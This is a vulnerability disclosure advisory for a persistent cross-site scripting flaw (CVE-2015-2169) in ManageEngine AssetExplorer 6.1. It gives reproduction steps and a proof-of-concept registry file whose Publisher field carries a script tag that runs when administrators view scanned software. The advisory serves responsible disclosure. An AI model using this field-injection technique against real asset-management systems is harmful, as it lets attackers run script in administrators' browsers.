Title:
===============
ManageEngine Asset Explorer v6.1 - XSS Vulnerability


CVE-ID:
====================================
CVE-2015-2169


CVSS:
====================================
3.5


Product & Service Introduction (Taken from their homepage):
====================================
ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM)
software that helps you monitor and manage assets in your network from
Planning phase to Disposal phase. AssetExplorer provides you with a number
of ways to ensure discovery of all the assets in your network. You can
manage software & hardware assets, ensure software license compliance and
track purchase orders & contracts - the whole nine yards! AssetExplorer is
very easy to install and works right out of the box.

(Homepage: https://www.manageengine.com/products/asset-explorer/ )


Abstract Advisory Information:
==============================
Cross site scripting attack can be performed on the manage engine asset
explorer. If the 'publisher' name contains vulnerable script, it gets
executed in the browser.


Affected Products:
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)


Severity Level:
====================
Medium


Technical Details & Description:
================================
Add a vendor with a script in it to the registry.
Login to the product,
Scan the endpoint where the registry is modified.
In the right pane, go to software->Scanned Software

The script gets executed.

Vulnerable Product(s):
ManageEngine Asset Explorer

Affected Version(s):
Version 6.1.0 / Build Number 6112
(Earlier versions i did not test)

Vulnerability Type(s):
Persistent Cross Site Scripting


PoC:
=======================
Add the following registry entry in the machine, for targeted attack.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fake_Software]
"DisplayName"="A fake software 2 installed"
"UninstallString"="C:\\Program Files\\fake\\uninst.exe"
"DisplayVersion"="0.500.20"
"URLInfoAbout"="http://www.dummy.org"
"Publisher"="<script> alert(\"XSS\"); </script>"


Security Risk:
==================
Medium.


Credits & Authors:
==================
Suraj Krishnaswami (suraj.krishnaswami@gmail.com)


Timeline:
==================
Discovered at Wed, March 3, 2015
Informed manage engine about the vulnerability: March 4, 2015
Case moved to development team: March 4, 2015
Asked for updates: March 9, 2015
Asked for updates: March 13, 2015
Asked for updates: April 14, 2015
Public Disclosure at Mon, June 22, 2015